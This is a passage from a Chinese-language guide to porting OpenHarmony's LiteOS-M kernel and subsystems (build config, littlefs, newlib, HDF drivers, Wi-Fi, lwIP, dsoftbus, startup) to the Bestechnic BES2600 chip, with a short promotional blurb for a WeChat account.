    prompt "Bestechnic 2600 series SoC"
    depends on SOC_SERIES_BES2600 --- 只有选择了bes2600 Series后,才会出现如下配置选项

config SOC_BES2600W --- 增加bes2600w SoC配置选择项
    bool "SoC BES2600w"

endchoice

在 bes2600/Kconfig.liteos_m.defconfig.series 需要提供bes2600 SoC series选择后的默认配置,如下:

if SOC_SERIES_BES2600 --- 选择了bes2600 Series后,才会增加如下默认配置选项

rsource "Kconfig.liteos_m.defconfig.bes2600w" --- 增加bes2600w SoC的默认配置

config SOC_SERIES --- 增加SOC_SERIES的默认配置
    string
    default "bes2600"

endif

配置完成后,还需要根据 kernel/liteos_m/Makefile 文件配置make menuconfigdefconfig保存路径:

ifeq ($(TEE:1=y),y)
tee = _tee
endif
ifeq ($(RELEASE:1=y),y)
CONFIG ?= $(PRODUCT_PATH)/kernel_configs/release$(tee).config
else
CONFIG ?= $(PRODUCT_PATH)/kernel_configs/debug$(tee).config --- 配置文件保存在$(CONFIG)中,由产品最终定义
endif

……

update_config menuconfig:
$(HIDE)test -f "$(CONFIG)" && cp -v "$(CONFIG)" .config && menuconfig $(args) && savedefconfig --out "$(CONFIG)"

在这个例子中,defconfig配置路径为 $(PRODUCT_PATH)/kernel_configs/debug.config,创建该文件后,内容为空,产品的目录文件结构如下:

.
└── display_demo
    ├── config.json
    └── kernel_configs
        └── debug.config

配置完成后,在 kernel/liteos_m 目录下执行 make menuconfig能够对SoC Series/SoC/Board进行选择,如下:

结果将自动保存在$(PRODUCT_PATH)/kernel_configs/debug.config,下次执行make menuconfig时会导出保存的结果。

DD一下:欢迎大家关注公众号<程序猿百晓生>,可以了解到以下内容:
1.OpenHarmony开发基础
2.OpenHarmony北向开发环境搭建
3.鸿蒙南向开发环境的搭建
4.鸿蒙生态应用开发白皮书V2.0 & V3.0
5.鸿蒙开发面试真题(含参考答案) 
6.TypeScript入门学习手册
7.OpenHarmony 经典面试题(含参考答案)
8.OpenHarmony设备开发入门【最新版】
9.沉浸式剖析OpenHarmony源代码
10.系统定制指南
11.【OpenHarmony】Uboot 驱动加载流程
12.OpenHarmony构建系统--GN与子系统、部件、模块详解
13.ohos开机init启动流程
14.鸿蒙版性能优化指南
.......

gn编译适配

在上一步Kconfig的图形化配置后,将其生成的配置结果可以作为gn编译的输入,以控制不同模块是否编译。另外为了解决之前gn编写时,随意include的问题,内核编译做了模块化编译的设计,使得整个编译逻辑更加清晰,设计思路请参考 LiteOS-M内核BUILD.gn编写指南。

在 kernel/liteos_m/BUILD.gn 中,指定了BoardSoC的编译入口为//device/board/fnlink//device/soc/bestechnic

deps += [ "//device/board/$device_company" ]
deps += [ "//device/soc/$LOSCFG_SOC_COMPANY" ]

//device/board/fnlink/BUILD.gn中,新增内容如下:

if (ohos_kernel_type == "liteos_m") {                    --- 由于多内核设计,对于LiteOS-M内核适配,需要用宏来隔离
  import("//kernel/liteos_m/liteos.gni") --- 引入内核gn编写模板
  module_name = get_path_info(rebase_path("."), "name") --- 动态获取当前文件目录作为模块名,防止目录名修改后,这里还需要跟着修改
  module_group(module_name) { --- 采用module_group模板
    modules = [ --- 添加需要编译的模块
    ]
  }
}

同理//device/soc/bestechnic/BUILD.gn也是一样。

内核启动适配

系统启动流程分为三个阶段:

阶段名称分区规划描述
BOOT1[0, 0x10000]第一阶段启动,进行固件启动
BOOT2[0x2C010000, 0x2C020000]第二阶段启动,进行OTA升级启动
RTOS_MAIN[0x2C080000, 0x2C860000]第三阶段启动,进行内核启动

在第三阶段内核启动中,需要适配的文件路径在 //device/soc/bestechnic/bes2600/liteos_m/sdk/bsp/rtos/liteos/liteos_m/board.c

内核启动适配总体思路如下:

  1. 中断向量的初始化os_vector_init ,初始化中断的处理函数。
  2. 内核初始化osKernelInitialize 。
  3. 创建线程board_main,进行芯片平台初始化。
  4. 内核启动,开始调度线程osKernelStart 。

其中,本章节详细对第3步进行展开,其他几步为对内核函数调用,不作详细描述。

第3步中board_main在启动OHOS_SystemInit之前,需要初始化必要的动作,如下:

...
    if(!ret) {
        ...
        OhosSystemAdapterHooks();    --- 系统启动时候设置钩子,启动OpenHarmonyOHOS_SystemInit的之前完成打印和驱动的初始化
        ...
        OHOS_SystemInit();  --- 启动OpenHarmony服务,以及组件初始化
    }
....

OhosSystemAdapterHooks函数在device/soc/bestechnic/bes2600/liteos_m/components/utils/src/hm_sys.c文件中,如下:

int OhosSystemAdapterHooks(void)
{
    init_trace_system();  --- 初始化打印函数
    DeviceManagerStart();  --- 调用DeviceManagerStart函数进行HDF驱动初始化,这个过程会调用单板代码中的驱动配置文件hdf.hcs以及drivers源码实现
    return 0;
}

littlefs文件系统移植

V200Z-R开发板开发板采用最大32MB的支持XIPNor Flash,文件系统可以使用example,适配过程中,需要在指定路径下放置文件系统预置文件,根据配置可自动生成文件系统镜像,可以实现自动化生成和打包到烧录包中。

  1. 配置指定目录放置打包文件系统config.json,通过flash_partition_dir指定目录:
  "flash_partition_dir": "fs"  --- 表示在vendor/bestechnic/display_demo/fs目录下放置文件系统预置文件

  1. 在指定目录vendor/bestechnic/display_demo/fs下放置两部分内容:
  • wifi_Download_cfg.yaml:镜像的烧录配置文件,可以根据实际情况调整分区。
  • /data/data:第一个/data是挂载的根目录;第二个data是根目录里面的data目录,里面可以存放预置文件,或者在第二个data的同级目录再创建一个目录,打包的时候只认第一个data挂载根目录。
  1. config.json中根据wifi_Download_cfg.yaml最后调整结果。
  • fs_src配置文件系统挂载名字。
  • fs_name是最后生成文件系统的名字。
  • block_size配置成4K对齐,建议不修改。
  • fs_size是生成文件系统的大小。
  • burn_name是烧录bin名字的大小。
  • enable 表示是否生成这个文件系统
  1. //device/soc/bestechnic/bes2600/liteos_m/components/hdf_config/hdf.hcs文件配置文件系统的烧录的起始地址、文件系统的大小以及读数据块的大小block_size等信息,参考配置如下:
    misc {
        fs_config {
            example_config {
                match_attr = "littlefs_config";
                mount_points = ["/data"];
                partitions = [10];
                block_size = [4096];
                block_count = [1024];
            }
        }
        storage_config {
            flash_config {
                match_attr = "flash_config";
                partitions = [10];
                owner = [0];
                description = ["littlefs"];
                start_addr = [0xB60000];
                length = [0x400000];
                options = [3];
            }
        }
    }

最后在device/soc/bestechnic/bes2600/liteos_m/components/fs/fs_init.c中,通过hdf加载数据,进行读写flash,如下:

static int32_t FsDriverInit(struct HdfDeviceObject *object)
{
    if (object == NULL) {
        return HDF_FAILURE;
    }
    if (object->property) {
        if (FsGetResource(fs, object->property) != HDF_SUCCESS) {
            HDF_LOGE("%s: FsGetResource failed", __func__);
            return HDF_FAILURE;
        }
    }
    for (int i = 0; i < sizeof(fs) / sizeof(fs[0]); i++) {
        if (fs[i].mount_point == NULL)
            continue;

        fs[i].lfs_cfg.read = littlefs_block_read;
        fs[i].lfs_cfg.prog = littlefs_block_write;
        fs[i].lfs_cfg.erase = littlefs_block_erase;
        fs[i].lfs_cfg.sync = littlefs_block_sync;

        fs[i].lfs_cfg.read_size = 256;
        fs[i].lfs_cfg.prog_size = 256;
        fs[i].lfs_cfg.cache_size = 256;
        fs[i].lfs_cfg.lookahead_size = 16;
        fs[i].lfs_cfg.block_cycles = 1000;

        int ret = mount(NULL, fs[i].mount_point, "littlefs", 0, &fs[i].lfs_cfg);
        HDF_LOGI("%s: mount fs on '%s' %s\n", __func__, fs[i].mount_point, (ret == 0) ? "succeed" : "failed");
    }
    return HDF_SUCCESS;
}

C库适配

在轻量系统中,C库适配比较复杂,设计思路请参考 LiteOS-M内核支持musl与newlib平滑切换方案,由于我们的工具链采用 gcc-arm-none-eabi-10.3-2021.10-x86_64-linux.tar.bz2自带newlib的C库,那么系统移植整体采用newlib的C库。那么在内核的make menuconfig中选择newlib,如下图:

malloc适配

malloc适配参考 The Red Hat newlib C Library-malloc。实现malloc适配有以下两种方法:

  • 实现 _sbrk_r 函数。这种方法中,内存分配函数使用newlib中的。
  • 实现 _malloc_r_realloc_r_reallocf_r_free_r_memalign_r, 和 _malloc_usable_size_r。这种方法中,内存分配函数可以使用内核的。

为了方便地根据业务进行内存分配算法调优和问题定位,在这两种方法中,本案例选择后者。

首先,由于newlib中已经存在这些函数的符号,因此需要用到gccwrap的链接选项替换这些函数符号为内核的实现,内核的实现为 //kernel/liteos_m/kal/libc/newlib/porting/src/malloc.c

然后,在//device/board/fnlink/v200zr/liteos_m/config.gni的新增这些函数的wrap链接选项。

board_ld_flags += [     "-Wl,--wrap=_malloc_r",     "-Wl,--wrap=_realloc_r",     "-Wl,--wrap=_reallocf_r",     "-Wl,--wrap=_free_r",     "-Wl,--wrap=_memalign_r",     "-Wl,--wrap=_malloc_usable_size_r",]
vsprintf等适配

参考 sourceware.org/newlib/libc… ,实现 vprintfvfprintfprintfsnprintf 和sprintf

类似malloc适配,首先要提供这些函数的实现,//device/soc/bestechnic/bes2600/liteos_m/components/utils/src/printf.c,本案例直接采用开源协议友好的实现。与malloc适配不同的是,这个函数由芯片原厂提供。因为就打印来说,根据项目的需要,实现可大可小,内核不方便提供统一的实现。

然后,在//device/board/fnlink/v200zr/liteos_m/config.gni的新增这些函数的wrap链接选项。

board_ld_flags += [     "-Wl,--wrap=printf",     "-Wl,--wrap=sprintf",     "-Wl,--wrap=snprintf",     "-Wl,--wrap=vsnprintf",     "-Wl,--wrap=vprintf",]
open等适配

这部分实现由内核统一实现,芯片适配无须关注,内核文件//kernel/liteos_m/kal/libc/newlib/porting/src/fs.c,适配了newlib_read_write等函数,如下:

……
ssize_t _read(int fd, void *buf, size_t nbyte)
{
    return LOS_Read(fd, buf, nbyte);
}

ssize_t _write(int fd, const void *buf, size_t nbyte)
{
    return LOS_Write(fd, buf, nbyte);
}

off_t _lseek(int fd, off_t offset, int whence)
{
    return LOS_Lseek(fd, offset, whence);
}
……

板级系统移植

驱动移植

SoC芯片平台HDF驱动移植

驱动适配相关文件放置在drivers/adapter/platform中,对应有gpioi2cpwmspiuartwatchdog,都是通过HDF机制加载,本章节以gpio为例进行详细说明。

GPIO驱动适配

gpio驱动适配需要完成编译的适配、源码的适配。

//drivers/adapter/platform/gpio/BUILD.gn文件中,描述了恒玄gpio驱动的编译适配。如下:

module_switch = defined(LOSCFG_DRIVERS_HDF_PLATFORM_GPIO) --- 如果打开HDF的GPIO配置开关,才进行如下编译
module_name = get_path_info(rebase_path("."), "name")

hdf_driver(module_name) {
  sources = []
  if (defined(LOSCFG_SOC_COMPANY_BESTECHNIC)) { --- 如果打开恒玄的芯片配置开关,才进行恒玄GPIO的驱动编译
    sources += [ "gpio_bes.c" ]
  }

  include_dirs = [ "." ]
}

//drivers/adapter/platform/gpio/gpio_bes.c文件中,描述了恒玄gpio驱动的源码适配。 首先,按照OpenHarmonyHDF驱动框架加载驱动基本适配框架,如下:

struct HdfDriverEntry g_GpioDriverEntry = {
    .moduleVersion = 1,
    .moduleName = "BES_GPIO_MODULE_HDF",
    .Bind = GpioDriverBind,
    .Init = GpioDriverInit,
    .Release = GpioDriverRelease,
};
HDF_INIT(g_GpioDriverEntry);  --- 通过HDF_INIT 加载GPIO驱动

然后,在初始化的时候会获取hcs参数进行初始化,如下:

static int32_t GpioDriverInit(struct HdfDeviceObject *device)
{
    int32_t ret;
    struct GpioCntlr *gpioCntlr = NULL;

    if (device == NULL) {
        HDF_LOGE("%s: device is NULL", __func__);
        return HDF_ERR_INVALID_PARAM;
    }

    gpioCntlr = GpioCntlrFromDevice(device);  --- gpioCntlr节点变量就可以获取具体gpio配置
    if (gpioCntlr == NULL) {
      ...

编码规范和设计思想见 bes 驱动适配PR 的评论。

Board外设器件HDF驱动移植

Board外设器件表示通过SoC平台总线连接的外设器件,在本案例中,显示屏属于外设器件,其驱动适配放在//device/board/fnlink/drivers/liteos_m目录中。

显示驱动适配

SoC驱动适配,在//device/board/fnlink/drivers/liteos_m/display/BUILD.gn文件中,根据hdf_driver模板加载驱动模块,如下:

module_name = get_path_info(rebase_path("."), "name")
hdf_driver(module_name) {
  sources = [
    "zzw395.c",
  ]
  include_dirs = [
    "//drivers/peripheral/display/interfaces/include",
  ...
  ]
}

//device/board/fnlink/drivers/liteos_m/display/zzw395.c文件中,根据驱动框架加载显示驱动,如下:

static struct HdfDriverEntry g_ZZW395DriverEntry = {
    .moduleVersion = 1,
    .moduleName = "HDF_PANEL_ZZW395",
    .Bind = PanelDriverBind,
    .Init = PanelDriverInit,
    .Release = PanelDriverRelease,
};

HDF_INIT(g_ZZW395DriverEntry);

其中的驱动参数根据hcs配置,在PanelDriverInit初始化时加载,如下:

static int32_t PanelDriverInit(struct HdfDeviceObject *object)
{
    if (object == NULL) {
        return HDF_FAILURE;
    }
    HDF_LOGD("%s entry !!!", __func__);
    if (object->property) {
        if (PanelGetResource(&priv, object->property) != HDF_SUCCESS) {
            HDF_LOGE("%s: PanelGetResource failed", __func__);
            return HDF_FAILURE;
        }
    }
...

OpenHarmony子系统适配

OpenHarmony子系统适配一般包含两部分:

  • config.json中增加对应子系统和部件,这样编译系统会将该部件纳入编译目标中。
  • 针对该部件的HAL层接口进行硬件适配,或者可选的软件功能适配。
分布式软总线子系统适配
wifi_lite部件适配

首先,在config.json文件中,增加communication子系统的wifi_lite部件,如下:

    {
      "subsystem": "communication",
      "components": [
        {
          "component": "wifi_lite",
          "optional": "true"
        }
      ]
    },

wifi_lite部件在//build/lite/components/communication.json文件中,描述如下:

    {
      "component": "wifi_lite",
……
      "targets": [
        "//foundation/communication/wifi_lite:wifi" --- wifi_lite的编译目标
      ],
……
    },

//foundation/communication/wifi_lite/BUILD.gn文件中,描述需要适配的接口头文件路径,如下:

config("include") {
  include_dirs = [ "interfaces/wifiservice" ] --- 因为wifi_lite只提供头文件,不提供wifi的具体实现,所以wifi模块暴露出适配的目录路径提供给硬件厂商来适配,厂商提供wifi协议栈源码实现。
}

group("wifi") {
  public_configs = [ ":include" ]
}

因为在本案例中,wifi属于SoC提供的功能,所以适配源码放在SoC//device/soc/bestechnic/hals/communication/wifi_lite/wifiservice目录下,包含wifi_device.cwifi_hotspot.c分别适配wifi_device.hwifi_hotspot.h。如下:

……
WifiErrorCode Scan(void) --- wifi_device.c中扫描wifi热点的函数,对wifi_device.h中Scan函数的适配实现
{
    WifiErrorCode ret = ERROR_WIFI_BUSY;

    if (IsWifiActive() != WIFI_STA_ACTIVE)
        return ERROR_WIFI_IFACE_INVALID;

    if (g_HalHmosWifiInfo.scan_state == SCAN_REQUEST ||
        g_HalHmosWifiInfo.scan_state == SCAN_TRIGGER)
        return ERROR_WIFI_BUSY;

    HalHmosWifiLock();
    ret = ((HalHmosSendEvent(HMOS_ON_WIFI_SCAN_STATE_CHANGED, NULL) == 0) ? WIFI_SUCCESS : ERROR_WIFI_BUSY);
    HalHmosWifiUnLock();

    return ret;
}
……
int GetSignalLevel(int rssi, int band) --- wifi_hotspot.c中获取wifi信号热点函数,对wifi_hotspot.h中GetSignalLevel函数的适配实现。
{
    if (band == HOTSPOT_BAND_TYPE_2G) {
        if (rssi >= RSSI_LEVEL_4_2_G)
            return RSSI_LEVEL_4;
        if (rssi >= RSSI_LEVEL_3_2_G)
            return RSSI_LEVEL_3;
        if (rssi >= RSSI_LEVEL_2_2_G)
            return RSSI_LEVEL_2;
        if (rssi >= RSSI_LEVEL_1_2_G)
            return RSSI_LEVEL_1;
    }

    if (band == HOTSPOT_BAND_TYPE_5G) {
        if (rssi >= RSSI_LEVEL_4_5_G)
            return RSSI_LEVEL_4;
        if (rssi >= RSSI_LEVEL_3_5_G)
            return RSSI_LEVEL_3;
        if (rssi >= RSSI_LEVEL_2_5_G)
            return RSSI_LEVEL_2;
        if (rssi >= RSSI_LEVEL_1_5_G)
            return RSSI_LEVEL_1;
    }
    return ERROR_WIFI_INVALID_ARGS;
}
LWIP部件适配

LiteOS-M kernel目录下默认配置了lwip,因而具有编译功能,可以在kernel组件中指定lwip编译的目录。如下:

    {
      "subsystem": "kernel",
      "components": [
        {
          "component": "liteos_m",
          "features": [
            "ohos_kernel_liteos_m_lwip_path = \"//device/soc/bestechnic/bes2600/liteos_m/components/net/lwip-2.1\"" --- 指定在芯片厂商目录中进行适配
          ]
        }
      ]
    },

//device/soc/bestechnic/bes2600/liteos_m/components/net/lwip-2.1/BUILD.gn文件中,描述了lwip的编译,如下:

import("//kernel/liteos_m/liteos.gni")
import("$LITEOSTHIRDPARTY/lwip/lwip.gni")
import("$LITEOSTOPDIR/components/net/lwip-2.1/lwip_porting.gni")

module_switch = defined(LOSCFG_NET_LWIP_SACK)
module_name = "lwip"
kernel_module(module_name) {
  sources = LWIP_PORTING_FILES + LWIPNOAPPSFILES -
            [ "$LWIPDIR/api/sockets.c" ] + [ "porting/src/ethernetif.c" ] --- 增加ethernetif.c文件,用以适配ethernet网卡的初始化适配
  defines = [ "LITEOS_LWIP=1" ]
  defines += [ "CHECKSUM_BY_HARDWARE=1" ]
}

config("public") {
  defines = [ "_BSD_SOURCE=1" ]
  include_dirs =
      [ "porting/include" ] + LWIP_PORTING_INCLUDE_DIRS + LWIP_INCLUDE_DIRS
}

//device/soc/bestechnic/bes2600/liteos_m/components/net/lwip-2.1/porting/include/lwip/lwipopts.h文件中,说明原有lwip配置选项保持不变,软总线会依赖这些配置选项,并且新增硬件适配的配置项,如下:

#ifndef _PORTING_LWIPOPTS_H_
#define _PORTING_LWIPOPTS_H_

#include_next "lwip/lwipopts.h" --- 保持原来的配置项不变

#define LWIP_NETIF_STATUS_CALLBACK      1
#define LWIP_CHECKSUM_ON_COPY           0
#define CHECKSUM_GEN_UDP                0 --- 新增硬件适配选项

#endif /* _PORTING_LWIPOPTS_H_ */

//device/soc/bestechnic/bes2600/liteos_m/components/net/lwip-2.1/porting/src/ethernetif.c文件中,说明对ethernet网卡初始化的适配,如下:

err_t
ethernetif_init(struct netif *netif)
{
……
#ifdef CHECKSUM_BY_HARDWARE
    eth_hw_checksum_init();
#endif
……
    netif->linkoutput = low_level_output;

    netif->drv_send = liteos_low_level_output;
    netif->hwaddr_len = NETIF_MAX_HWADDR_LEN;
    low_level_init(netif);
    driverif_init(netif);
    return ERR_OK;
……
}
dsoftbus部件适配

config.json中增加dsoftbus部件配置如下:

{
  "component": "dsoftbus",
  "features": [
    "softbus_adapter_config = \"//vendor/bestechnic/mini_distributed_music_player/dsoftbus_lite_config\""
  ]
},

dsoftbus部件在//foundation/communication/dsoftbus/dsoftbus.gni文件中提供了softbus_adapter_config配置选项可供移植过程进行配置,该配置设定了软总线移植适配的路径。

在本案例中,softbus_adapter_config配置为//vendor/bestechnic/mini_distributed_music_player/dsoftbus_lite_config路径,该路径下的内容为:

.
├── feature_config--- 软总线功能特性配置,例如是否开启自发现功能等
│   └── mini
│       └── config.gni
└── spec_config--- 软总线规格特性配置,例如设置软总线日志级别设置
    ├── softbus_config_adapter.c
    ├── softbus_config_adapter.h
    └── softbus_config_type.h

config.gni文件中规定了以下配置项:

配置项描述
dsoftbus_feature_disc_ble是否开启BLE发现功能
dsoftbus_feature_disc_coap是否开启COAP发现功能
dsoftbus_feature_conn_tcp是否开启TCP连接功能
dsoftbus_feature_conn_br是否开启BR连接功能
dsoftbus_feature_conn_ble是否开启BLE连接功能
dsoftbus_feature_conn_p2p是否开启P2P连接功能
dsoftbus_feature_trans_udp是否开启UDP传输功能
dsoftbus_feature_trans_udp_stream是否开启UDP传输流功能
dsoftbus_feature_trans_udp_file是否开启UDP传输文件功能
dsoftbus_feature_ip_auth是否开启认证传输通道功能
dsoftbus_feature_auth_account是否开启基于账号认证功能
dsoftbus_feature_qos是否开启QoS功能

softbus_config_adapter.c文件中规定了以下配置项:

配置项描述
SOFTBUS_INT_MAX_BYTES_LENGTHSendBytes发送最大Bytes长度
SOFTBUS_INT_MAX_MESSAGE_LENGTHSendMessage发送最大消息的长度
SOFTBUS_INT_CONN_BR_MAX_DATA_LENGTH蓝牙最大接收数据量
SOFTBUS_INT_CONN_RFCOM_SEND_MAX_LEN蓝牙最大接收数据量
SOFTBUS_INT_ADAPTER_LOG_LEVEL日志级别设置
SOFTBUS_STR_STORAGE_DIRECTORY存储目录设置

因为软总线配置了后,不会默认启动,所以需要在通过启动框架调用InitSoftBusServer函数,如下:

static void DSoftBus(void)
{
    osThreadAttr_t attr;
    attr.name = "dsoftbus task";
    attr.attr_bits = 0U;
    attr.cb_mem = NULL;
    attr.cb_size = 0U;
    attr.stack_mem = NULL;
    attr.stack_size = 65536;
    attr.priority = 24;

    extern void InitSoftBusServer(void);
    if (osThreadNew((osThreadFunc_t) InitSoftBusServer, NULL, &attr) == NULL) {
        printf("Failed to create WifiSTATask!\n");
    }
}

APP_FEATURE_INIT(DSoftBus);
RPC部件适配

config.json中增加rpc部件配置如下:

{
  "component": "rpc"
},

同样地,rpc部件需要通过启动框架调用StartDBinderService函数,由于该函数正常运行依赖主机已经获取IP地址,因此在LWIP协议栈注册IP地址变化事件的回调函数中调用该函数,如下:

static void RpcServerWifiDHCPSucCB(struct netif *netif, netif_nsc_reason_t reason,
                                   const netif_ext_callback_args_t *args)
{
    (void) args;
    if (netif == NULL) {
        printf("%s %d, error: input netif is NULL!\n", __FUNCTION__, __LINE__);
        return;
    }
    if (reason == LWIP_NSC_IPSTATUS_CHANGE) {
        if (netif_is_up(netif) && !ip_addr_isany(&netif->ip_addr)) {
            printf("%s %d, start rpc server!\n", __FUNCTION__, __LINE__);
            StartDBinderService();
        }
    }
}

static void WifiDHCPRpcServerCB(void)
{
    NETIF_DECLARE_EXT_CALLBACK(WifiReadyRpcServerCallback);
    netif_add_ext_callback(&WifiReadyRpcServerCallback, RpcServerWifiDHCPSucCB);
}

APP_FEATURE_INIT(WifiDHCPRpcServerCB);
启动恢复子系统适配

启动恢复子系统适配bootstrap_lite/syspara_lite两个部件。请在vendor/bestechnic_bak/display_demo/config.json中新增对应的配置选项。

{
  "subsystem": "startup",
  "components": [
{
  "component": "bootstrap_lite" --- bootstrap_lite 部件
},
{
  "component": "syspara_lite", --- syspara_lite 部件
  "features": [
"enable_ohos_startup_syspara_lite_use_posix_file_api = true"
  ]
}
  ]
},

适配bootstrap_lite部件时,需要在连接脚本文件//device/soc/bestechnic/bes2600/liteos_m/sdk/bsp/out/best2600w_liteos/_best2001.lds中手动新增如下段:

       __zinitcall_bsp_start = .;
      KEEP (*(.zinitcall.bsp0.init))
      KEEP (*(.zinitcall.bsp1.init))
      KEEP (*(.zinitcall.bsp2.init))
      KEEP (*(.zinitcall.bsp3.init))
      KEEP (*(.zinitcall.bsp4.init))
      __zinitcall_bsp_end = .;
      __zinitcall_device_start = .;
      KEEP (*(.zinitcall.device0.init))
      KEEP (*(.zinitcall.device1.init))
      KEEP (*(.zinitcall.device2.init))
      KEEP (*(.zinitcall.device3.init))
      KEEP (*(.zinitcall.device4.init))
      __zinitcall_device_end = .;
      __zinitcall_core_start = .;
      KEEP (*(.zinitcall.core0.init))
      KEEP (*(.zinitcall.core1.init))
      KEEP (*(.zinitcall.core2.init))
      KEEP (*(.zinitcall.core3.init))
      KEEP (*(.zinitcall.core4.init))
      __zinitcall_core_end = .;
      __zinitcall_sys_service_start = .;
      KEEP (*(.zinitcall.sys.service0.init))
      KEEP (*(.zinitcall.sys.service1.init))
      KEEP (*(.zinitcall.sys.service2.init))
      KEEP (*(.zinitcall.sys.service3.init))
      KEEP (*(.zinitcall.sys.service4.init))
      __zinitcall_sys_service_end = .;
      __zinitcall_sys_feature_start = .;
      KEEP (*(.zinitcall.sys.feature0.init))
      KEEP (*(.zinitcall.sys.feature1.init))
      KEEP (*(.zinitcall.sys.feature2.init))
      KEEP (*(.zinitcall.sys.feature3.init))
      KEEP (*(.zinitcall.sys.feature4.init))
      __zinitcall_sys_feature_end = .;
      __zinitcall_run_start = .;
      KEEP (*(.zinitcall.run0.init))
      KEEP (*(.zinitcall.run1.init))
      KEEP (*(.zinitcall.run2.init))
      KEEP (*(.zinitcall.run3.init))
      KEEP (*(.zinitcall.run4.init))
      __zinitcall_run_end = .;
      __zinitcall_app_service_start = .;
      KEEP (*(.zinitcall.app.service0.init))
      KEEP (*(.zinitcall.app.service1.init))
      KEEP (*(.zinitcall.app.service2.init))
      KEEP (*(.zinitcall.app.service3.init))
      KEEP (*(.zinitcall.app.service4.init))
      __zinitcall_app_service_end = .;
      __zinitcall_app_feature_start = .;
      KEEP (*(.zinitcall.app.feature0.init))
      KEEP (*(.zinitcall.app.feature1.init))
      KEEP (*(.zinitcall.app.feature2.init))
      KEEP (*(.zinitcall.app.feature3.init))
      KEEP (*(.zinitcall.app.feature4.init))
      __zinitcall_app_feature_end = .;
      __zinitcall_test_start = .;
      KEEP (*(.zinitcall.test0.init))
      KEEP (*(.zinitcall.test1.init))
      KEEP (*(.zinitcall.test2.init))
      KEEP (*(.zinitcall.test3.init))
      KEEP (*(.zinitcall.test4.init))
      __zinitcall_test_end = .;
      __zinitcall_exit_start = .;
      KEEP (*(.zinitcall.exit0.init))
      KEEP (*(.zinitcall.exit1.init))
      KEEP (*(.zinitcall.exit2.init))
      KEEP (*(.zinitcall.exit3.init))
      KEEP (*(.zinitcall.exit4.init))
      __zinitcall_exit_end = .;

需要新增上述段是因为bootstrap_init提供的对外接口,见//utils/native/lite/include/ohos_init.h文件,采用的是灌段的形式,最终会保存到上述链接段中。主要的服务自动初始化宏如下表格所示:

接口名描述
SYS_SERVICE_INIT(func)标识核心系统服务的初始化启动入口
SYS_FEATURE_INIT(func)标识核心系统功能的初始化启动入口
APP_SERVICE_INIT(func)标识应用层服务的初始化启动入口
APP_FEATURE_INIT(func)标识应用层功能的初始化启动入口

 说明: 通过上面加载的组件编译出来的lib文件需要手动加入强制链接。

如在 vendor/bestechnic/display_demo/config.json 中配置了bootstrap_lite 部件

    {
      "subsystem": "startup",
      "components": [
        {
          "component": "bootstrap_lite"
        },
        ...
      ]
    },

 bootstrap_lite部件会编译//base/startup/bootstrap_lite/services/source/bootstrap_service.c,该文件中,通过SYS_SERVICE_INITInit函数符号灌段到__zinitcall_sys_service_start__zinitcall_sys_service_end中,由于Init函数是没有显式调用它,所以需要将它强制链接到最终的镜像。如下:

static void Init(void)
{
    static Bootstrap bootstrap;
    bootstrap.GetName = GetName;
    bootstrap.Initialize = Initialize;
    bootstrap.MessageHandle = MessageHandle;
    bootstrap.GetTaskConfig = GetTaskConfig;
    bootstrap.flag = FALSE;
    SAMGR_GetInstance()->RegisterService((Service *)&bootstrap);
}
SYS_SERVICE_INIT(Init);   --- 通过SYS启动即SYS_INIT启动就需要强制链接生成的lib

在//base/startup/bootstrap_lite/services/source/BUILD.gn文件中,描述了在out/v200zr/display_demo/libs 生成 libbootstrap.a,如下:

static_library("bootstrap") {
  sources = [
    "bootstrap_service.c",
    "system_init.c",
  ]
  ....

那么需要在 vendor/bestechnic/display_demo/config.json 配置强制链接库bootstrap,如下:

  "bin_list": [
    {
      "elf_name": "wifiiot",
      "bsp_target_name": "best2600w_liteos",
      "signature": "false",
      "burn_name": "rtos_main",
      "enable": "true",
      "force_link_libs": [
        "bootstrap", --- 强制链接libbootstrap.a
        ...
      ]
    },

适配syspara_lite部件时,系统参数会最终写到文件中进行持久化保存。在轻量系统中,文件操作相关接口有POSIX接口与HalFiles接口这两套实现。

因为对接内核的文件系统,采用POSIX相关的接口,所以features字段中需要增加enable_ohos_startup_syspara_lite_use_posix_file_api = true。

如果对接HalFiles相关的接口实现的,则无须修改。

在适配GetSerial接口时,开发板不像产线生产过程那样,会写入一个具体的Serial Number,因而需要确定一个数据对开发板进行唯一标识。本案例采用WiFi Mac地址进行适配。

#define ETH_ALEN 6
#define MAC_BITS 4
#define MAC_HIGH_MASK 0xf0
#define MAC_LOW_MASK 0x0f
#define HEX_A 0xa
#define CHAR_NUM_OFFSET 0x30
#define CHAR_CAPITAL_OFFSET 0x37
#define STR_END_FLAG '\0'

typedef unsigned char               u8;

static char serialNumber[2*ETH_ALEN + 1]; --- 最后一位留作'\0'结束符标识


static char Hex2Char(u8 hex)
{
    if (hex < HEX_A) {
        return hex + CHAR_NUM_OFFSET; --- 将数值0转为char'0'
    } else {
        return hex + CHAR_CAPITAL_OFFSET; --- 将数值0xa转为char'A'
    }
}

const char* HalGetSerial(void)
{
    char macAddr[ETH_ALEN];
    // as devboard has no production serial number, we just
    // use wifi mac address as device serial number.
    if (serialNumber[0] == STR_END_FLAG) { --- 只有第一次调用时,才去获取mac地址
        extern int bwifi_get_own_mac(u8 *addr);
        bwifi_get_own_mac(macAddr); --- 获取mac地址
        int j = 0;
        for (int i = 0; i < ETH_ALEN; i++) {
            u8 lowFour, highFour;
            highFour = (macAddr[i] & MAC_HIGH_MASK) >> MAC_BITS;
            serialNumber[j] = Hex2Char(highFour);
            j++;
            lowFour = macAddr[i] & MAC_LOW_MASK;
            serialNumber[j] = Hex2Char(lowFour);
            j++;
        } --- 将mac地址值转化为serial number
    }
    return serialNumber;
}
DFX子系统适配

进行DFX子系统适配需要添加hilog_lite部件,直接在config.json文件配置即可。

{
  "subsystem": "hiviewdfx",
  "components": [
{
  "component": "hilog_lite",
  "optional": "true"
}
  ]
},

配置完成之后,在//device/soc/bestechnic/bes2600/liteos_m/components/utils/src/hm_sys.c中注册日志输出实现函数。

boolean HilogProc_Impl(const HiLogContent *hilogContent, uint32 len)
{
    char tempOutStr[LOG_FMT_MAX_LEN] = {0};
    if (LogContentFmt(tempOutStr, sizeof(tempOutStr), hilogContent) > 0) {
        printf(tempOutStr);
    }
return TRUE;   
}

HiviewRegisterHilogProc(HilogProc_Impl);
系统服务管理子系统适配

进行系统服务管理子系统适配需要添加samgr_lite部件,直接在config.json配置即可。

{
  "subsystem": "systemabilitymgr",
  "components": [
{
  "component": "samgr_lite",
  "features": [
"config_ohos_systemabilitymgr_samgr_lite_shared_task_size = 4096"
  ]
}
  ]
},

